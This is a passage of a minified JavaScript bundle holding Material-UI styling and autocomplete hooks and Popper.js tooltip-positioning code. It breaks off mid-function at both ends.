0===l?nn:l,u=(0,r.A)(t,["name","classNamePrefix","Component","defaultTheme"]),d=function(e){var t="function"==typeof e;return{create:function(n,r){var i;try{i=t?e(n):e}catch(e){throw e}if(!r||!n.overrides||!n.overrides[r])return i;var a=n.overrides[r],s=(0,o.A)({},i);return Object.keys(a).forEach((function(e){s[e]=(0,tn.A)(s[e],a[e])})),s},options:{}}}(e),p=n||i||"makeStyles";return d.options={index:en+=1,name:n,meta:p,classNamePrefix:p},function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=(0,Ee.A)()||c,r=(0,o.A)({},a().useContext(Qt),u),i=a().useRef(),l=a().useRef();!function(o,s){var c,u,p=a().useRef([]),f=a().useMemo((function(){return{}}),s);p.current!==f&&(p.current=f,rn(u={name:n,state:{},stylesCreator:d,stylesOptions:r,theme:t},e),l.current=!1,i.current=u,c=function(){!function(e){var t=e.state,n=e.theme,r=e.stylesOptions,o=e.stylesCreator;if(!r.disableGeneration){var i=Ce.get(r.sheetsManager,o,n);i.refs-=1;var a=r.sheetsRegistry;0===i.refs&&(Ce.delete(r.sheetsManager,o,n),r.jss.removeStyleSheet(i.staticSheet),a&&a.remove(i.staticSheet)),t.dynamicSheet&&(r.jss.removeStyleSheet(t.dynamicSheet),a&&a.remove(t.dynamicSheet))}}(u)}),a().useEffect((function(){return function(){c&&c()}}),[f])}(0,[t,d]),a().useEffect((function(){l.current&&function(e,t){var n=e.state;n.dynamicSheet&&n.dynamicSheet.update(t)}(i.current,e),l.current=!0}));var p=function(e,t,n){var r=e.state;if(e.stylesOptions.disableGeneration)return t||{};r.cacheClasses||(r.cacheClasses={value:null,lastProp:null,lastJSS:{}});var o=!1;return r.classes!==r.cacheClasses.lastJSS&&(r.cacheClasses.lastJSS=r.classes,o=!0),t!==r.cacheClasses.lastProp&&(r.cacheClasses.lastProp=t,o=!0),o&&(r.cacheClasses.value=(0,ke.A)({baseClasses:r.cacheClasses.lastJSS,newClasses:t,Component:n})),r.cacheClasses.value}(i.current,e.classes,s);return p}}},3043:(e,t,n)=>{"use strict";n.d(t,{A:()=>o});var r=n(8168);function o(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.baseClasses,n=e.newClasses;if(e.Component,!n)return t;var o=(0,r.A)({},t);return Object.keys(n).forEach((function(e){n[e]&&(o[e]="".concat(t[e]," ").concat(n[e]))})),o}},6061:(e,t,n)=>{"use strict";n.d(t,{A:()=>a});var r=n(1609),o=n.n(r);const i=o().createContext(null);function a(){return o().useContext(i)}},2851:(e,t,n)=>{"use strict";n.d(t,{A:()=>a});var r=n(8168),o=n(2284);function i(e){return e&&"object"===(0,o.A)(e)&&e.constructor===Object}function a(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{clone:!0},o=n.clone?(0,r.A)({},e):e;return i(e)&&i(t)&&Object.keys(t).forEach((function(r){"__proto__"!==r&&(i(t[r])&&r in e?o[r]=a(e[r],t[r],n):o[r]=t[r])})),o}},5063:(e,t,n)=>{"use strict";n.d(t,{A:()=>tr});var r=n(8587),o=n(8168),i=n(1609),a=n.n(i);function s(e){var t,n,r="";if("string"==typeof e||"number"==typeof e)r+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(n=s(e[t]))&&(r&&(r+=" "),r+=n)}else for(n in e)e[n]&&(r&&(r+=" "),r+=n);return r}const l=function(){for(var e,t,n=0,r="",o=arguments.length;n<o;n++)(e=arguments[n])&&(t=s(e))&&(r&&(r+=" "),r+=t);return r};function c(e,t,n=void 0){const r={};return Object.keys(e).forEach((o=>{r[o]=e[o].reduce(((e,r)=>{if(r){const o=t(r);""!==o&&e.push(o),n&&n[r]&&e.push(n[r])}return e}),[]).join(" ")})),r}var u=n(771);let d=0;const p=i["useId".toString()];function f({controlled:e,default:t,name:n,state:r="value"}){const{current:o}=i.useRef(void 0!==e),[a,s]=i.useState(t);return[o?e:a,i.useCallback((e=>{o||s(e)}),[])]}const h="undefined"!=typeof window?i.useLayoutEffect:i.useEffect,m=function(e){const t=i.useRef(e);return h((()=>{t.current=e})),i.useRef(((...e)=>(0,t.current)(...e))).current};function v(e,t){"function"==typeof e?e(t):e&&(e.current=t)}function g(e){return void 0!==e.normalize?e.normalize("NFD").replace(/[\u0300-\u036f]/g,""):e}function y(e,t){for(let n=0;n<e.length;n+=1)if(t(e[n]))return n;return-1}const b=function(e={}){const{ignoreAccents:t=!0,ignoreCase:n=!0,limit:r,matchFrom:o="any",stringify:i,trim:a=!1}=e;return(e,{inputValue:s,getOptionLabel:l})=>{let c=a?s.trim():s;n&&(c=c.toLowerCase()),t&&(c=g(c));const u=c?e.filter((e=>{let r=(i||l)(e);return n&&(r=r.toLowerCase()),t&&(r=g(r)),"start"===o?0===r.indexOf(c):r.indexOf(c)>-1})):e;return"number"==typeof r?u.slice(0,r):u}}(),x=e=>{var t;return null!==e.current&&(null==(t=e.current.parentElement)?void 0:t.contains(document.activeElement))},A=function(e){const{unstable_isActiveElementInListbox:t=x,unstable_classNamePrefix:n="Mui",autoComplete:r=!1,autoHighlight:a=!1,autoSelect:s=!1,blurOnSelect:l=!1,clearOnBlur:c=!e.freeSolo,clearOnEscape:u=!1,componentName:h="useAutocomplete",defaultValue:g=(e.multiple?[]:null),disableClearable:A=!1,disableCloseOnSelect:w=!1,disabled:k,disabledItemsFocusable:S=!1,disableListWrap:C=!1,filterOptions:E=b,filterSelectedOptions:O=!1,freeSolo:R=!1,getOptionDisabled:P,getOptionKey:$,getOptionLabel:M=e=>{var t;return null!=(t=e.label)?t:e},groupBy:T,handleHomeEndKeys:I=!e.freeSolo,id:N,includeInputInList:j=!1,inputValue:L,isOptionEqualToValue:z=(e,t)=>e===t,multiple:D=!1,onChange:F,onClose:W,onHighlightChange:_,onInputChange:B,onOpen:V,open:H,openOnFocus:q=!1,options:K,readOnly:U=!1,selectOnFocus:X=!e.freeSolo,value:G}=e,Y=function(e){if(void 0!==p){const t=p();return null!=e?e:t}return function(e){const[t,n]=i.useState(e),r=e||t;return i.useEffect((()=>{null==t&&(d+=1,n(`mui-${d}`))}),[t]),r}(e)}(N);let J=M;J=e=>{const t=M(e);return"string"!=typeof t?String(t):t};const Z=i.useRef(!1),Q=i.useRef(!0),ee=i.useRef(null),te=i.useRef(null),[ne,re]=i.useState(null),[oe,ie]=i.useState(-1),ae=a?0:-1,se=i.useRef(ae),[le,ce]=f({controlled:G,default:g,name:h}),[ue,de]=f({controlled:L,default:"",name:h,state:"inputValue"}),[pe,fe]=i.useState(!1),he=i.useCallback(((e,t)=>{if(!(D?le.length<t.length:null!==t)&&!c)return;let n;if(D)n="";else if(null==t)n="";else{const e=J(t);n="string"==typeof e?e:""}ue!==n&&(de(n),B&&B(e,n,"reset"))}),[J,ue,D,B,de,c,le]),[me,ve]=f({controlled:H,default:!1,name:h,state:"open"}),[ge,ye]=i.useState(!0),be=!D&&null!=le&&ue===J(le),xe=me&&!U,Ae=xe?E(K.filter((e=>!O||!(D?le:[le]).some((t=>null!==t&&z(e,t))))),{inputValue:be&&ge?"":ue,getOptionLabel:J}):[],we=(e=>{const t=i.useRef({});return i.useEffect((()=>{t.current=e})),t.current})({filteredOptions:Ae,value:le,inputValue:ue});i.useEffect((()=>{const e=le!==we.value;pe&&!e||R&&!e||he(null,le)}),[le,he,pe,we.value,R]);const ke=me&&Ae.length>0&&!U,Se=m((e=>{-1===e?ee.current.focus():ne.querySelector(`[data-tag-index="${e}"]`).focus()}));i.useEffect((()=>{D&&oe>le.length-1&&(ie(-1),Se(-1))}),[le,D,oe,Se]);const Ce=m((({event:e,index:t,reason:r="auto"})=>{if(se.current=t,-1===t?ee.current.removeAttribute("aria-activedescendant"):ee.current.setAttribute("aria-activedescendant",`${Y}-option-${t}`),_&&_(e,-1===t?null:Ae[t],r),!te.current)return;const o=te.current.querySelector(`[role="option"].${n}-focused`);o&&(o.classList.remove(`${n}-focused`),o.classList.remove(`${n}-focusVisible`));let i=te.current;if("listbox"!==te.current.getAttribute("role")&&(i=te.current.parentElement.querySelector('[role="listbox"]')),!i)return;if(-1===t)return void(i.scrollTop=0);const a=te.current.querySelector(`[data-option-index="${t}"]`);if(a&&(a.classList.add(`${n}-focused`),"keyboard"===r&&a.classList.add(`${n}-focusVisible`),i.scrollHeight>i.clientHeight&&"mouse"!==r&&"touch"!==r)){const e=a,t=i.clientHeight+i.scrollTop,n=e.offsetTop+e.offsetHeight;n>t?i.scrollTop=n-i.clientHeight:e.offsetTop-e.offsetHeight*(T?1.3:0)<i.scrollTop&&(i.scrollTop=e.offsetTop-e.offsetHeight*(T?1.3:0))}})),Ee=m((({event:e,diff:t,direction:n="next",reason:o="auto"})=>{if(!xe)return;const i=function(e,t){if(!te.current||e<0||e>=Ae.length)return-1;let n=e;for(;;){const r=te.current.querySelector(`[data-option-index="${n}"]`),o=!S&&(!r||r.disabled||"true"===r.getAttribute("aria-disabled"));if(r&&r.hasAttribute("tabindex")&&!o)return n;if(n="next"===t?(n+1)%Ae.length:(n-1+Ae.length)%Ae.length,n===e)return-1}}((()=>{const e=Ae.length-1;if("reset"===t)return ae;if("start"===t)return 0;if("end"===t)return e;const n=se.current+t;return n<0?-1===n&&j?-1:C&&-1!==se.current||Math.abs(t)>1?0:e:n>e?n===e+1&&j?-1:C||Math.abs(t)>1?e:0:n})(),n);if(Ce({index:i,reason:o,event:e}),r&&"reset"!==t)if(-1===i)ee.current.value=ue;else{const e=J(Ae[i]);ee.current.value=e,0===e.toLowerCase().indexOf(ue.toLowerCase())&&ue.length>0&&ee.current.setSelectionRange(ue.length,e.length)}})),Oe=i.useCallback((()=>{if(!xe)return;const e=(()=>{if(-1!==se.current&&we.filteredOptions&&we.filteredOptions.length!==Ae.length&&we.inputValue===ue&&(D?le.length===we.value.length&&we.value.every(((e,t)=>J(le[t])===J(e))):(e=we.value,t=le,(e?J(e):"")===(t?J(t):"")))){const e=we.filteredOptions[se.current];if(e)return y(Ae,(t=>J(t)===J(e)))}var e,t;return-1})();if(-1!==e)return void(se.current=e);const t=D?le[0]:le;if(0!==Ae.length&&null!=t){if(te.current)if(null==t)se.current>=Ae.length-1?Ce({index:Ae.length-1}):Ce({index:se.current});else{const e=Ae[se.current];if(D&&e&&-1!==y(le,(t=>z(e,t))))return;const n=y(Ae,(e=>z(e,t)));-1===n?Ee({diff:"reset"}):Ce({index:n})}}else Ee({diff:"reset"})}),[Ae.length,!D&&le,O,Ee,Ce,xe,ue,D]),Re=m((e=>{v(te,e),e&&Oe()}));i.useEffect((()=>{Oe()}),[Oe]);const Pe=e=>{me||(ve(!0),ye(!0),V&&V(e))},$e=(e,t)=>{me&&(ve(!1),W&&W(e,t))},Me=(e,t,n,r)=>{if(D){if(le.length===t.length&&le.every(((e,n)=>e===t[n])))return}else if(le===t)return;F&&F(e,t,n,r),ce(t)},Te=i.useRef(!1),Ie=(e,t,n="selectOption",r="options")=>{let o=n,i=t;if(D){i=Array.isArray(le)?le.slice():[];const e=y(i,(e=>z(t,e)));-1===e?i.push(t):"freeSolo"!==r&&(i.splice(e,1),o="removeOption")}he(e,i),Me(e,i,o,{option:t}),w||e&&(e.ctrlKey||e.metaKey)||$e(e,o),(!0===l||"touch"===l&&Te.current||"mouse"===l&&!Te.current)&&ee.current.blur()},Ne=(e,t)=>{if(!D)return;""===ue&&$e(e,"toggleInput");let n=oe;-1===oe?""===ue&&"previous"===t&&(n=le.length-1):(n+="next"===t?1:-1,n<0&&(n=0),n===le.length&&(n=-1)),n=function(e,t){if(-1===e)return-1;let n=e;for(;;){if("next"===t&&n===le.length||"previous"===t&&-1===n)return-1;const e=ne.querySelector(`[data-tag-index="${n}"]`);if(e&&e.hasAttribute("tabindex")&&!e.disabled&&"true"!==e.getAttribute("aria-disabled"))return n;n+="next"===t?1:-1}}(n,t),ie(n),Se(n)},je=e=>{Z.current=!0,de(""),B&&B(e,"","clear"),Me(e,D?[]:null,"clear")},Le=e=>t=>{if(e.onKeyDown&&e.onKeyDown(t),!t.defaultMuiPrevented&&(-1!==oe&&-1===["ArrowLeft","ArrowRight"].indexOf(t.key)&&(ie(-1),Se(-1)),229!==t.which))switch(t.key){case"Home":xe&&I&&(t.preventDefault(),Ee({diff:"start",direction:"next",reason:"keyboard",event:t}));break;case"End":xe&&I&&(t.preventDefault(),Ee({diff:"end",direction:"previous",reason:"keyboard",event:t}));break;case"PageUp":t.preventDefault(),Ee({diff:-5,direction:"previous",reason:"keyboard",event:t}),Pe(t);break;case"PageDown":t.preventDefault(),Ee({diff:5,direction:"next",reason:"keyboard",event:t}),Pe(t);break;case"ArrowDown":t.preventDefault(),Ee({diff:1,direction:"next",reason:"keyboard",event:t}),Pe(t);break;case"ArrowUp":t.preventDefault(),Ee({diff:-1,direction:"previous",reason:"keyboard",event:t}),Pe(t);break;case"ArrowLeft":Ne(t,"previous");break;case"ArrowRight":Ne(t,"next");break;case"Enter":if(-1!==se.current&&xe){const e=Ae[se.current],n=!!P&&P(e);if(t.preventDefault(),n)return;Ie(t,e,"selectOption"),r&&ee.current.setSelectionRange(ee.current.value.length,ee.current.value.length)}else R&&""!==ue&&!1===be&&(D&&t.preventDefault(),Ie(t,ue,"createOption","freeSolo"));break;case"Escape":xe?(t.preventDefault(),t.stopPropagation(),$e(t,"escape")):u&&(""!==ue||D&&le.length>0)&&(t.preventDefault(),t.stopPropagation(),je(t));break;case"Backspace":if(D&&!U&&""===ue&&le.length>0){const e=-1===oe?le.length-1:oe,n=le.slice();n.splice(e,1),Me(t,n,"removeOption",{option:le[e]})}break;case"Delete":if(D&&!U&&""===ue&&le.length>0&&-1!==oe){const e=oe,n=le.slice();n.splice(e,1),Me(t,n,"removeOption",{option:le[e]})}}},ze=e=>{fe(!0),q&&!Z.current&&Pe(e)},De=e=>{t(te)?ee.current.focus():(fe(!1),Q.current=!0,Z.current=!1,s&&-1!==se.current&&xe?Ie(e,Ae[se.current],"blur"):s&&R&&""!==ue?Ie(e,ue,"blur","freeSolo"):c&&he(e,le),$e(e,"blur"))},Fe=e=>{const t=e.target.value;ue!==t&&(de(t),ye(!1),B&&B(e,t,"input")),""===t?A||D||Me(e,null,"clear"):Pe(e)},We=e=>{const t=Number(e.currentTarget.getAttribute("data-option-index"));se.current!==t&&Ce({event:e,index:t,reason:"mouse"})},_e=e=>{Ce({event:e,index:Number(e.currentTarget.getAttribute("data-option-index")),reason:"touch"}),Te.current=!0},Be=e=>{const t=Number(e.currentTarget.getAttribute("data-option-index"));Ie(e,Ae[t],"selectOption"),Te.current=!1},Ve=e=>t=>{const n=le.slice();n.splice(e,1),Me(t,n,"removeOption",{option:le[e]})},He=e=>{me?$e(e,"toggleInput"):Pe(e)},qe=e=>{e.currentTarget.contains(e.target)&&e.target.getAttribute("id")!==Y&&e.preventDefault()},Ke=e=>{e.currentTarget.contains(e.target)&&(ee.current.focus(),X&&Q.current&&ee.current.selectionEnd-ee.current.selectionStart==0&&ee.current.select(),Q.current=!1)},Ue=e=>{k||""!==ue&&me||He(e)};let Xe=R&&ue.length>0;Xe=Xe||(D?le.length>0:null!==le);let Ge=Ae;return T&&(new Map,Ge=Ae.reduce(((e,t,n)=>{const r=T(t);return e.length>0&&e[e.length-1].group===r?e[e.length-1].options.push(t):e.push({key:n,index:n,group:r,options:[t]}),e}),[])),k&&pe&&De(),{getRootProps:(e={})=>(0,o.A)({"aria-owns":ke?`${Y}-listbox`:null},e,{onKeyDown:Le(e),onMouseDown:qe,onClick:Ke}),getInputLabelProps:()=>({id:`${Y}-label`,htmlFor:Y}),getInputProps:()=>({id:Y,value:ue,onBlur:De,onFocus:ze,onChange:Fe,onMouseDown:Ue,"aria-activedescendant":xe?"":null,"aria-autocomplete":r?"both":"list","aria-controls":ke?`${Y}-listbox`:void 0,"aria-expanded":ke,autoComplete:"off",ref:ee,autoCapitalize:"none",spellCheck:"false",role:"combobox",disabled:k}),getClearProps:()=>({tabIndex:-1,type:"button",onClick:je}),getPopupIndicatorProps:()=>({tabIndex:-1,type:"button",onClick:He}),getTagProps:({index:e})=>(0,o.A)({key:e,"data-tag-index":e,tabIndex:-1},!U&&{onDelete:Ve(e)}),getListboxProps:()=>({role:"listbox",id:`${Y}-listbox`,"aria-labelledby":`${Y}-label`,ref:Re,onMouseDown:e=>{e.preventDefault()}}),getOptionProps:({index:e,option:t})=>{var n;const r=(D?le:[le]).some((e=>null!=e&&z(t,e))),o=!!P&&P(t);return{key:null!=(n=null==$?void 0:$(t))?n:J(t),tabIndex:-1,role:"option",id:`${Y}-option-${e}`,onMouseMove:We,onClick:Be,onTouchStart:_e,"data-option-index":e,"aria-disabled":o,"aria-selected":r}},id:Y,inputValue:ue,value:le,dirty:Xe,expanded:xe&&ne,popupOpen:xe,focused:pe||-1!==oe,anchorEl:ne,setAnchorEl:re,focusedTag:oe,groupedOptions:Ge}};var w=n(2923);function k(...e){return i.useMemo((()=>e.every((e=>null==e))?null:t=>{e.forEach((e=>{v(e,t)}))}),e)}function S(e){return e&&e.ownerDocument||document}function C(e){if(null==e)return window;if("[object Window]"!==e.toString()){var t=e.ownerDocument;return t&&t.defaultView||window}return e}function E(e){return e instanceof C(e).Element||e instanceof Element}function O(e){return e instanceof C(e).HTMLElement||e instanceof HTMLElement}function R(e){return"undefined"!=typeof ShadowRoot&&(e instanceof C(e).ShadowRoot||e instanceof ShadowRoot)}var P=Math.max,$=Math.min,M=Math.round;function T(){var e=navigator.userAgentData;return null!=e&&e.brands&&Array.isArray(e.brands)?e.brands.map((function(e){return e.brand+"/"+e.version})).join(" "):navigator.userAgent}function I(){return!/^((?!chrome|android).)*safari/i.test(T())}function N(e,t,n){void 0===t&&(t=!1),void 0===n&&(n=!1);var r=e.getBoundingClientRect(),o=1,i=1;t&&O(e)&&(o=e.offsetWidth>0&&M(r.width)/e.offsetWidth||1,i=e.offsetHeight>0&&M(r.height)/e.offsetHeight||1);var a=(E(e)?C(e):window).visualViewport,s=!I()&&n,l=(r.left+(s&&a?a.offsetLeft:0))/o,c=(r.top+(s&&a?a.offsetTop:0))/i,u=r.width/o,d=r.height/i;return{width:u,height:d,top:c,right:l+u,bottom:c+d,left:l,x:l,y:c}}function j(e){var t=C(e);return{scrollLeft:t.pageXOffset,scrollTop:t.pageYOffset}}function L(e){return e?(e.nodeName||"").toLowerCase():null}function z(e){return((E(e)?e.ownerDocument:e.document)||window.document).documentElement}function D(e){return N(z(e)).left+j(e).scrollLeft}function F(e){return C(e).getComputedStyle(e)}function W(e){var t=F(e),n=t.overflow,r=t.overflowX,o=t.overflowY;return/auto|scroll|overlay|hidden/.test(n+o+r)}function _(e,t,n){void 0===n&&(n=!1);var r,o,i=O(t),a=O(t)&&function(e){var t=e.getBoundingClientRect(),n=M(t.width)/e.offsetWidth||1,r=M(t.height)/e.offsetHeight||1;return 1!==n||1!==r}(t),s=z(t),l=N(e,a,n),c={scrollLeft:0,scrollTop:0},u={x:0,y:0};return(i||!i&&!n)&&(("body"!==L(t)||W(s))&&(c=(r=t)!==C(r)&&O(r)?{scrollLeft:(o=r).scrollLeft,scrollTop:o.scrollTop}:j(r)),O(t)?((u=N(t,!0)).x+=t.clientLeft,u.y+=t.clientTop):s&&(u.x=D(s))),{x:l.left+c.scrollLeft-u.x,y:l.top+c.scrollTop-u.y,width:l.width,height:l.height}}function B(e){var t=N(e),n=e.offsetWidth,r=e.offsetHeight;return Math.abs(t.width-n)<=1&&(n=t.width),Math.abs(t.height-r)<=1&&(r=t.height),{x:e.offsetLeft,y:e.offsetTop,width:n,height:r}}function V(e){return"html"===L(e)?e:e.assignedSlot||e.parentNode||(R(e)?e.host:null)||z(e)}function H(e){return["html","body","#document"].indexOf(L(e))>=0?e.ownerDocument.body:O(e)&&W(e)?e:H(V(e))}function q(e,t){var n;void 0===t&&(t=[]);var r=H(e),o=r===(null==(n=e.ownerDocument)?void 0:n.body),i=C(r),a=o?[i].concat(i.visualViewport||[],W(r)?r:[]):r,s=t.concat(a);return o?s:s.concat(q(V(a)))}function K(e){return["table","td","th"].indexOf(L(e))>=0}function U(e){return O(e)&&"fixed"!==F(e).position?e.offsetParent:null}function X(e){for(var t=C(e),n=U(e);n&&K(n)&&"static"===F(n).position;)n=U(n);return n&&("html"===L(n)||"body"===L(n)&&"static"===F(n).position)?t:n||function(e){var t=/firefox/i.test(T());if(/Trident/i.test(T())&&O(e)&&"fixed"===F(e).position)return null;var n=V(e);for(R(n)&&(n=n.host);O(n)&&["html","body"].indexOf(L(n))<0;){var r=F(n);if("none"!==r.transform||"none"!==r.perspective||"paint"===r.contain||-1!==["transform","perspective"].indexOf(r.willChange)||t&&"filter"===r.willChange||t&&r.filter&&"none"!==r.filter)return n;n=n.parentNode}return null}(e)||t}var G="top",Y="bottom",J="right",Z="left",Q="auto",ee=[G,Y,J,Z],te="start",ne="end",re="viewport",oe="popper",ie=ee.reduce((function(e,t){return e.concat([t+"-"+te,t+"-"+ne])}),[]),ae=[].concat(ee,[Q]).reduce((function(e,t){return e.concat([t,t+"-"+te,t+"-"+ne])}),[]),se=["beforeRead","read","afterRead","beforeMain","main","afterMain","beforeWrite","write","afterWrite"];function le(e){var t=new Map,n=new Set,r=[];function o(e){n.add(e.name),[].concat(e.requires||[],e.requiresIfExists||[]).forEach((function(e){if(!n.has(e)){var r=t.get(e);r&&o(r)}})),r.push(e)}return e.forEach((function(e){t.set(e.name,e)})),e.forEach((function(e){n.has(e.name)||o(e)})),r}var ce={placement:"bottom",modifiers:[],strategy:"absolute"};function ue(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return!t.some((function(e){return!(e&&"function"==typeof e.getBoundingClientRect)}))}function de(e){void 0===e&&(e={});var t=e,n=t.defaultModifiers,r=void 0===n?[]:n,o=t.defaultOptions,i=void 0===o?ce:o;return function(e,t,n){void 0===n&&(n=i);var o,a,s={placement:"bottom",orderedModifiers:[],options:Object.assign({},ce,i),modifiersData:{},elements:{reference:e,popper:t},attributes:{},styles:{}},l=[],c=!1,u={state:s,setOptions:function(n){var o="function"==typeof n?n(s.options):n;d(),s.options=Object.assign({},i,s.options,o),s.scrollParents={reference:E(e)?q(e):e.contextElement?q(e.contextElement):[],popper:q(t)};var a,c,p=function(e){var t=le(e);return se.reduce((function(e,n){return e.concat(t.filter((function(e){return e.phase===n})))}),[])}((a=[].concat(r,s.options.modifiers),c=a.reduce((function(e,t){var n=e[t.name];return e[t.name]=n?Object.assign({},n,t,{options:Object.assign({},n.options,t.options),data:Object.assign({},n.data,t.data)}):t,e}),{}),Object.keys(c).map((function(e){return c[e]}))));return s.orderedModifiers=p.filter((function(e){return e.enabled})),s.orderedModifiers.forEach((function(e){var t=e.name,n=e.options,r=void 0===n?{}:n,o=e.effect;if("function"==typeof o){var i=o({state:s,name:t,instance:u,options:r});l.push(i||function(){})}})),u.update()},forceUpdate:function(){if(!c){var e=s.elements,t=e.reference,n=e.popper;if(ue(t,n)){s.rects={reference:_(t,X(n),"fixed"===s.options.strategy),popper:B(n)},s.reset=!1,s.placement=s.options.placement,s.orderedModifiers.forEach((function(e){return s.modifiersData[e.name]=Object.assign({},e.data)}));for(var r=0;r<s.orderedModifiers.length;r++)if(!0!==s.reset){var o=s.orderedModifiers[r],i=o.fn,a=o.options,l=void 0===a?{}:a,d=o.name;"function"==typeof i&&(s=i({state:s,options:l,name:d,instance:u})||s)}else s.reset=!1,r=-1}}},update:(o=function(){return new Promise((function(e){u.forceUpdate(),e(s)}))},function(){return a||(a=new Promise((function(e){Promise.resolve().then((function(){a=void 0,e(o())}))}))),a}),destroy:function(){d(),c=!0}};if(!ue(e,t))return u;function d(){l.forEach((function(e){return e()})),l=[]}return u.setOptions(n).then((function(e){!c&&n.onFirstUpdate&&n.onFirstUpdate(e)})),u}}var pe={passive:!0};function fe(e){return e.split("-")[0]}function he(e){return e.split("-")[1]}function me(e){return["top","bottom"].indexOf(e)>=0?"x":"y"}function ve(e){var t,n=e.reference,r=e.element,o=e.placement,i=o?fe(o):null,a=o?he(o):null,s=n.x+n.width/2-r.width/2,l=n.y+n.height/2-r.height/2;switch(i){case G:t={x:s,y:n.y-r.height};break;case Y:t={x:s,y:n.y+n.height};break;case J:t={x:n.x+n.width,y:l};break;case Z:t={x:n.x-r.width,y:l};break;default:t={x:n.x,y:n.y}}var c=i?me(i):null;if(null!=c){var u="y"===c?"height":"width";switch(a){case te:t[c]=t[c]-(n[u]/2-r[u]/2);break;case ne:t[c]=t[c]+(n[u]/2-r[u]/2)}}return t}var ge={top:"auto",right:"auto",bottom:"auto",left:"auto"};function ye(e){var t,n=e.popper,r=e.popperRect,o=e.placement,i=e.variation,a=e.offsets,s=e.position,l=e.gpuAcceleration,c=e.adaptive,u=e.roundOffsets,d=e.isFixed,p=a.x,f=void 0===p?0:p,h=a.y,m=void 0===h?0:h,v="function"==typeof u?u({x:f,y:m}):{x:f,y:m};f=v.x,m=v.y;var g=a.hasOwnProperty("x"),y=a.hasOwnProperty("y"),b=Z,x=G,A=window;if(c){var w=X(n),k="clientHeight",S="clientWidth";w===C(n)&&"static"!==F(w=z(n)).position&&"absolute"===s&&(k="scrollHeight",S="scrollWidth"),(o===G||(o===Z||o===J)&&i===ne)&&(x=Y,m-=(d&&w===A&&A.visualViewport?A.visualViewport.height:w[k])-r.height,m*=l?1:-1),o!==Z&&(o!==G&&o!==Y||i!==ne)||(b=J,f-=(d&&w===A&&A.visualViewport?A.visualViewport.width:w[S])-r.width,f*=l?1:-1)}var E,O=Object.assign({position:s},c&&ge),R=!0===u?function(e,t){var n=e.x,r=e.y,o=t.devicePixelRatio||1;return{x:M(n*o)/o||0,y:M(r*o)/o||0}}({x:f,y:m},C(n)):{x:f,y:m};return f=R.x,m=R.y,l?Object.assign({},O,((E={})[x]=y?"0":"",E[b]=g?"0":"",E.transform=(A.devicePixelRatio||1)<=1?"translate("+f+"px, "+m+"px)":"translate3d("+f+"px, "+m+"px, 0)",E)):Object.assign({},O,((t={})[x]=y?m+"px":"",t[b]=g?f+"px":"",t.transform="",t))}var be={left:"right",right:"left",bottom:"top",top:"bottom"};function xe(e){return e.replace(/left|right|bottom|top/g,(function(e){return be[e]}))}var Ae={start:"end",end:"start"};function we(e){return e.replace(/start|end/g,(function(e){return Ae[e]}))}function ke(e,t){var n=t.getRootNode&&t.getRootNode();if(e.contains(t))return!0;if(n&&R(n)){var r=t;do{if(r&&e.isSameNode(r))return!0;r=r.parentNode||r.host}while(r)}return!1}function Se(e){return Object.assign({},e,{left:e.x,top:e.y,right:e.x+e.width,bottom:e.y+e.height})}function Ce(e,t,n){return t===re?Se(function(e,t){var n=C(e),r=z(e),o=n.visualViewport,i=r.clientWidth,a=r.clientHeight,s=0,l=0;if(o){i=o.width,a=o.height;var c=I();(c||!c&&"fixed"===t)&&(s=o.offsetLeft,l=o.offsetTop)}return{width:i,height:a,x:s+D(e),y:l}}(e,n)):E(t)?function(e,t){var n=N(e,!1,"fixed"===t);return n.top=n.top+e.clientTop,n.left=n.left+e.clientLeft,n.bottom=n.top+e.clientHeight,n.right=n.left+e.clientWidth,n.width=e.clientWidth,n.height=e.clientHeight,n.x=n.left,n.y=n.top,n}(t,n):Se(function(e){var t,n=z(e),r=j(e),o=null==(t=e.ownerDocument)?void 0:t.body,i=P(n.scrollWidth,n.clientWidth,o?o.scrollWidth:0,o?o.clientWidth:0),a=P(n.scrollHeight,n.clientHeight,o?o.scrollHeight:0,o?o.clientHeight:0),s=-r.scrollLeft+D(e),l=-r.scrollTop;return"rtl"===F(o||n).direction&&(s+=P(n.clientWidth,o?o.clientWidth:0)-i),{width:i,height:a,x:s,y:l}}(z(e)))}function Ee(e){return Object.assign({},{top:0,right:0,bottom:0,left:0},e)}function Oe(e,t){return t.reduce((function(t,n){return t[n]=e,t}),{})}function Re(e,t){void 0===t&&(t={});var n=t,r=n.placement,o=void 0===r?e.placement:r,i=n.strategy,a=void 0===i?e.strategy:i,s=n.boundary,l=void 0===s?"clippingParents":s,c=n.rootBoundary,u=void 0===c?re:c,d=n.elementContext,p=void 0===d?oe:d,f=n.altBoundary,h=void 0!==f&&f,m=n.padding,v=void 0===m?0:m,g=Ee("number"!=typeof v?v:Oe(v,ee)),y=p===oe?"reference":oe,b=e.rects.popper,x=e.elements[h?y:p],A=function(e,t,n,r){var o="clippingParents"===t?function(e){var t=q(V(e)),n=["absolute","fixed"].indexOf(F(e).position)>=0&&O(e)?X(e):e;return E(n)?t.filter((function(e){return E(e)&&ke(e,n)&&"body"!==L(e)})):[]}(e):[].concat(t),i=[].concat(o,[n]),a=i[0],s=i.reduce((function(t,n){var o=Ce(e,n,r);return t.top=P(o.top,t.top),t.right=$(o.right,t.right),t.bottom=$(o.bottom,t.bottom),t.left=P(o.left,t.left),t}),Ce(e,a,r));return s.width=s.right-s.left,s.height=s.bottom-s.top,s.x=s.left,s.y=s.top,s}(E(x)?x:x.contextElement||z(e.elements.popper),l,u,a),w=N(e.elements.reference),k=ve({reference:w,element:b,strategy:"absolute",placement:o}),S=Se(Object.assign({},b,k)),C=p===oe?S:w,R={top:A.top-C.top+g.top,bottom:C.bottom-A.bottom+g.bottom,left:A.left-C.left+g.left,right:C.right-A.right+g.right},M=e.modifiersData.offset;if(p===oe&&M){var T=M[o];Object.keys(R).forEach((function(e){var t=[J,Y].indexOf(e)>=0?1:-1,n=[G,Y].indexOf(e)>=0?"y":"x";R[e]+=T[n]*t}))}return R}function Pe(e,t,n){return P(e,$(t,n))}function $e(e,t,n){return void 0===n&&(n={x:0,y:0}),{top:e.top-t.height-n.y,right:e.right-t.width+n.x,bottom:e.bottom-t.height+n.y,left:e.left-t.width-n.x}}function 